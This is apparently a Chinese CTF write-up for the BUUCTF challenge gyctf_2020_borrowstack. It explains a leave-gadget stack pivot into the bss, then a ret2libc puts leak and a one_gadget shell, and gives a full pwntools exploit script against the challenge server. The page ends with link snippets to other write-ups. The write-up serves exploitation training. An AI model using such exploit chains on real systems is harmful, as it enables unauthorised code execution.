gyctf_2020_borrowstack

附件

步骤:

  1. 例行检查,64位程序,开启NX保护
  2. 本地运行一下程序,看看大概的情况
  3. 64位ida载入,直接从main函数开始看程序,

    buf可以溢出0x10字节,只能够覆盖到ret,参数bank在bss段上,所以打算在buf处利用leave指令去劫持栈,让它跳转去bank处,往bank里写入我们的ret2libc的攻击链去获取shell

随便找个leave指令的地址,leave=0x400699

bank在bss段上的地址

设置rdi寄存器的指令地址

exp

  1. from pwn import *
  2. from LibcSearcher import *
  3. r=remote('node3.buuoj.cn',29385)
  4. bank=0x0601080
  5. leave=0x400699
  6. puts_plt=0x04004E0
  7. puts_got=0x0601018
  8. pop_rdi=0x400703
  9. main=0x0400626
  10. ret=0x4004c9
  11. r.recvuntil('u want')
  12. payload='a'*0x60+p64(bank)+p64(leave)
  13. r.send(payload)
  14. r.recvuntil('now!')
  15. payload=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
  16. r.send(payload)
  17. r.recvline()
  18. puts_addr=u64(r.recv(6).ljust(8,'\x00'))
  19. print hex(puts_addr)
  20. libc=LibcSearcher('puts',puts_addr)
  21. libc_base=puts_addr-libc.dump('puts')
  22. one_gadget=libc_base+0x4526a
  23. #system=libc_base+libc.dump('system')
  24. #binsh=libc_base+libc.dump('str_bin_sh')
  25. #payload='a'*(0x60+8)+p64(pop_rdi)+p64(binsh)+p64(system)
  26. payload='a'*(0x60+8)+p64(one_gadget)
  27. r.send(payload)
  28. r.interactive()


在调试写exp的时候遇到了几个坑,总结一下

  1. 一开始我利用0x601080去做栈迁移,没有利用成功。百度看了其他师傅的wp后知道了,bank的地址距离got表特别近,是我构造rop的时候增高了栈帧,破坏了got表,因此我们在做栈迁移的时候要把地址相对的抬高些payload=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)里的p64(ret)*20的目的就是抬高栈
  2. 没法利用泄露的libc去构造system(/bin/sh)获取shell,看了网上的wp,师傅们都是用的one_gadget,利用在线查询网站,将我们泄露的puts地址的最后3位输进去,找到libc版本,下载下来找一下one_gadget的地址,我不是很会看找个汇编,没去找满足条件的,我直接一个一个试的,第二个可以

[BUUCTF]PWN——gyctf_2020_borrowstack的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  6. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  7. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  8. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  9. [BUUCTF]PWN——mrctf2020_easyoverflow

    mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...

随机推荐

  1. [hdu6973]Bookshop

    将询问拆成$x$​到$lca$​和$lca$​($lca$​靠近$y$​的儿子)到$y$​​两部分,分别处理(后者以前者的答案为基础) 两者是类似地,不妨仅考虑前者:用树剖将该询问拆成dfs序上若干个 ...

  2. [loj502]ZQC的截图

    给每一个人一个随机数$R_{i}$,将一个消息中所有人的的$R_{i}$在三进制下相加(多次出现需要多个$R_{i}$),最终之和若为0,即判定答案为-1,若为某个$R_{i}$或$R_{i}+R_{ ...

  3. 从零开始学Kotlin第七课

    1.强制类型转换需要在后面加两个感叹号 2.如果需要在java代码调用kotlin的方法时候使用文件名+kt.方法 3.object 类名 是创建匿名内部类的写法 调用 传入class对象 4.在to ...

  4. CF 786 E ALT

    CF 786 E ALT 一个居民有两个选择:分配一只宠物,路上都有宠物 一个守卫有两种选择:分配一只宠物,不分配宠物 我们找一个原点,到每个居民都有一条边,表示是否给他宠物 从每个居民向他路上的守卫 ...

  5. MongoDB 安装/启动/基本操作命令

    1.MongoDB简介 MongoDB是一个基于分布式文件存储的数据库,由C++语言编写,旨在为WEB应用提供可扩展的高性能数据存储解决方案. MongoDB是一个介于关系型数据库和非关系数据库之间的 ...

  6. R 语言实战-Part 5-2笔记

    R 语言实战(第二版) part 5-2 技能拓展 ----------第21章创建包-------------------------- #包是一套函数.文档和数据的合集,以一种标准的格式保存 #1 ...

  7. lua5.4 beta中的to-be-closed变量的用法

    对应目前最新lua5.4 beta版本:2019-10-09发布 这个功能之前修改过两次语法,当前的语法不出意外将会是最终决定了,目前还没有最新的中文资料,所以我来这里发一下. 先介绍下这个功能: 被 ...

  8. day08 索引的创建与慢查询优化

    day08 索引的创建与慢查询优化 昨日内容回顾 视图 视图:将SQL语句查询结果实体化保存起来,方便下次查询使用. 视图里面的数据来源于原表,视图只有表结构 # 创建视图 create view 视 ...

  9. Kafka(一)【概述、入门、架构原理】

    目录 一.Kafka概述 1.1 定义 二.Kafka快速入门 2.1 安装部署 2.2 配置文件解析 2.3Kafka群起脚本 2.4 topic(增删改查) 2.5 生产和消费者命令行操作 三.K ...

  10. 【leetocode】55. Jump Game

    You are given an integer array nums. You are initially positioned at the array's first index, and ea ...